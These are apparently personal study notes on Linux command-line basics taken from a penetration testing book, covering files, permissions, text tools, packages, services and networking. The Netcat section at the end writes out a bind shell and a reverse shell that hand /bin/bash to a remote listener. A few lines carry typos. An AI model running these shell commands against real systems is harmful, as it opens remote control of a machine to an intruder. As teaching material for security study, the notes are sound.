Linux Command-Line

Following Chapter 2 of Georgia Weidman's Penetration Testing book.

Listing Files and Directories

ls
ls -l
ls -a

File System

cd
cd ..
cd /
cd ~/Desktop

Man Pages

man ls
ls --help

User Privileges

adduser georgia
adduser georgia sudo
su geogia
adduser john
sudo adduser john
exit

Creating a New File or Directory

touch myfile
mkdir mydirectory
ls
cd mydirectory

Copying, Moving, and Removing Files

cp /root/myfile myfile2
ls
mv myfile2 myfile3
ls
rm myfile3

Adding Text to a File

echo hello georgia
echo hello georgia > myfile
cat myfile
echo hello georgia again > myfile
cat myfile
echo hello georgia a third time >> myfile
cat myfile

File Permissions

ls -l myfile

-rw-r--r-- 1 root root 6 Aug 25 18:42 myfile

Lrwxrwxrwx
  u  g  o

chmod 777 myfile
ls -l myfile

-rwxrwxrwx 1 root root 6 Aug 25 18:42 myfile

Editing Files

nano testfile

^W Search

vi testfile

:wq

Data Manipulation

1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Blackhat July
5 Bsides * 
6 HackerHalted October 
7 Hackcon April

grep September myfile
grep September myfile | cut -d " " -f 2

sed 's/Blackhat/Defcon/' myfile

awk '$1 >5' myfile
awk '{print $1,$3;}' myfile

Managing Installed Packagess

Before "apt-get install", always do an update to get the latest list of available packages: 
apt-get update

apt-get install armitage
This will upgrade all installed packages to the latest version: 
apt-get upgrade
Repositories are in: 
/etc/apt/sources.list

Processes and Services

To see running processes: 
top
ps aux
To control services: 
service apache2 start
service mysql stop
service networking restart

Managing Networking

ifconfig
ip addr show
route
ifconfig eth0 down
ifconfig eth0 up
ifconfig eth0 up promisc
To renew DHCP address: 
dhclient -v
dhclient eth0
To set a static IP address temporarily: 
ifconfig eth0 192.168.1.100/24
To remove all addresses: 
ip addr flush dev eth0
To set a static IP address persistently: 
nano /etc/network/interfaces

auto eth0 
face eth0 inet static
address 192.168.20.9 netmask 255.255.255.0
gateway 192.168.20.1
Viewing Network Connections 
netstat -antp

Netcat

Connect to a listening service: 
nc 147.144.1.2 22
Listen on a port: 
nc -lvp 1234
Open a Command Shell Listener (aka Bind Shell): 
nc -lvp 1234 -e /bin/bash
Pushing a Command Shell Back to Listener (aka Reverse Shell):

First start a listener: 

nc -lvp 1234
Push a shell to the listener: 
nc 192.168.1.100 1234 -e /bin/bash
See 10 Useful IP Commands to Configure Network Interfaces

Automating Tasks with cron Jobs

ls /etc | grep cron
crontab -l
crontab -e